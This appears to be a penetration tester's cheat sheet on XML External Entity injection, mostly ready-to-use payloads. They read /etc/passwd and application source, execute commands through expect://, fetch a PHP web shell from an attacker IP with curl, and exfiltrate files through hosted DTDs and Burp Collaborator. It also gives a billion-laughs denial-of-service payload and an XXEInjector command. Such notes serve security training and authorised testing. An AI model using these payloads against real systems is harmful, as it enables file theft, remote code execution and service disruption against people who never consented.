XML External Entity (XXE) Injection
XML External Entity (XXE) Injection: A vulnerability where unsanitized XML input from users can execute malicious actions. These attacks exploit the XML parser to access system files or perform network requests, potentially disclosing sensitive data or affecting backend server performance.
Example XML Document:
XML (Extensible Markup Language): A markup language for data storage and transfer across applications.
Structure: XML documents are tree structures with elements:
Root Element: The primary container (e.g.,
<email>
).Child Elements: Nested data fields (e.g.,
<date>
,<time>
).Tags: Surround elements (
<tag>value</tag>
).Entities: XML variables (e.g.,
<
for<
).Attributes: Optional settings within tags (e.g.,
version="1.0"
).
<?xml version="1.0" encoding="UTF-8"?>
<email>
<date>01-01-2022</date>
<sender>john@example.com</sender>
<body>Hello, please send the invoice.</body>
</email>
XML Document Type Definition (DTD)
DTD: Defines an XML document’s structure, specifying elements and allowed data.
Internal DTD: Included directly in the XML file.
External DTD: Referenced via
SYSTEM
orPUBLIC
with a URL or file path.
Example DTD:
<!DOCTYPE email [
<!ELEMENT email (date, sender, body)>
<!ELEMENT date (#PCDATA)>
<!ELEMENT sender (#PCDATA)>
]>
Methodology
Identify every functionality that processes an XML structure.
Attempt to inject a
%
to cause an error.Test for simple XXE injection and check if it is reflected.
Error-based XXE
Error-based XXE using DTD
Exfiltrate files
Remote command execution
If you cannot define the
DOCTYPE
, attempt XInclude XXE.If the application has functionality to process XML via SVG (e.g., image upload), attempt XXE via SVG files.
If in scope, try a DoS attack.
XXE Attacks
Test Vulnerability
Character to attempt: '%'
Attempt to define an entity without reference it and send the request to check if the application block external entities.
<!DOCTYPE test [
<!ENTITY xxe "Inlane Freight">
]>
<root>1</root>
Then attempt to define it.
<!DOCTYPE test [
<!ENTITY xxe "Inlane Freight">
]>
<root>&xxe;</root>
Reading Sensitive Files
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>
PHP applications.
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php">
]>
<root>&xxe;</root>
Remote Code Execution with XXE
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>
Intrusionz3r0@htb[/htb]$ echo '<?php system($_REQUEST["cmd"]);?>' > shell.php
Intrusionz3r0@htb[/htb]$ sudo python3 -m http.server 80
<!DOCTYPE email [
<!ENTITY company SYSTEM "expect://curl$IFS-O$IFS'OUR_IP/shell.php'">
]>
Error Based XXE
Host a DTD file as follows:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'file:///invalid/%file;'>">
%eval;
%exfil;
Payload Structure:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [<!ENTITY % xxe SYSTEM "https://exploit-0ae100e704be4820817c4d9a011a00d1.exploit-server.net/exploit">%xxe;]>
<stockCheck>
<productId>1</productId>
<storeId>1</storeId>
</stockCheck>
Error Based using DTD file
Obtain a full list of common DTD files: https://github.com/GoSecure/dtd-finder/tree/master/list
Once identified a valid payload either brute forcing via intruder or scripting then the final payload is as follows:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>
<stockCheck>
<productId>1</productId>
<storeId>1</storeId>
</stockCheck>
XInclude XXE
When you can't modify the DOCTYPE element use the XInclude to target
Payload:
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>
Final Payload:
productId=1<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
XXE via SVG Files
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<text font-size="16" x="0" y="16">&xxe;</text>
</svg>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
<image xlink:href="expect://ls" width="200" height="200"></image>
</svg>
Blind XXE with out-of-band interaction
Normal out-of-band interaciton
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE TEST [<!ENTITY xxe SYSTEM "http://0rsp5x4e6j5znmcjs2lx36qjfal29sxh.oastify.com">]>
<stockCheck>
<productId>%xxe;</productId>
<storeId>1</storeId>
</stockCheck>
XML parameter entities
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE TEST [<!ENTITY % xxe SYSTEM "http://0rsp5x4e6j5znmcjs2lx36qjfal29sxh.oastify.com"> %xxe;]>
<stockCheck>
<productId>1</productId>
<storeId>1</storeId>
</stockCheck>
Exfiltrate data using a malicious external DTD
Host a DTD file as follows:
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://BURPCOLABORATOR-URL/?x=%file;'>">
%eval;
%exfil;
Payload structure:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://SERVER_HOST_DTD/malicious.dtd"> %xxe;]>
<stockCheck>
<productId>1</productId>
<storeId>1</storeId>
</stockCheck>
DOS Attack
<?xml version="1.0"?>
<!DOCTYPE email [
<!ENTITY a0 "DOS" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
<!ENTITY a5 "&a4;&a4;&a4;&a4;&a4;&a4;&a4;&a4;&a4;&a4;">
<!ENTITY a6 "&a5;&a5;&a5;&a5;&a5;&a5;&a5;&a5;&a5;&a5;">
<!ENTITY a7 "&a6;&a6;&a6;&a6;&a6;&a6;&a6;&a6;&a6;&a6;">
<!ENTITY a8 "&a7;&a7;&a7;&a7;&a7;&a7;&a7;&a7;&a7;&a7;">
<!ENTITY a9 "&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;">
<!ENTITY a10 "&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;">
]>
<root>
<name></name>
<tel></tel>
<email>&a10;</email>
<message></message>
</root>
XXEInjector
we can copy the HTTP request from Burp and write it to a file for the tool to use. We should not include the full XML data, only the first line, and write XXEINJECT
after it as a position locator for the tool
POST /blind/submitDetails.php HTTP/1.1
Host: 10.129.201.94
Content-Length: 169
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Content-Type: text/plain;charset=UTF-8
Accept: */*
Origin: <http://10.129.201.94>
Referer: <http://10.129.201.94/blind/>
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
<?xml version="1.0" encoding="UTF-8"?>
XXEINJECT
Intrusionz3r0@htb[/htb]$ ruby XXEinjector.rb --host=[tun0 IP] --httpport=8000 --file=/tmp/xxe.req --path=/etc/passwd --oob=http --phpfilter
Tools
Last updated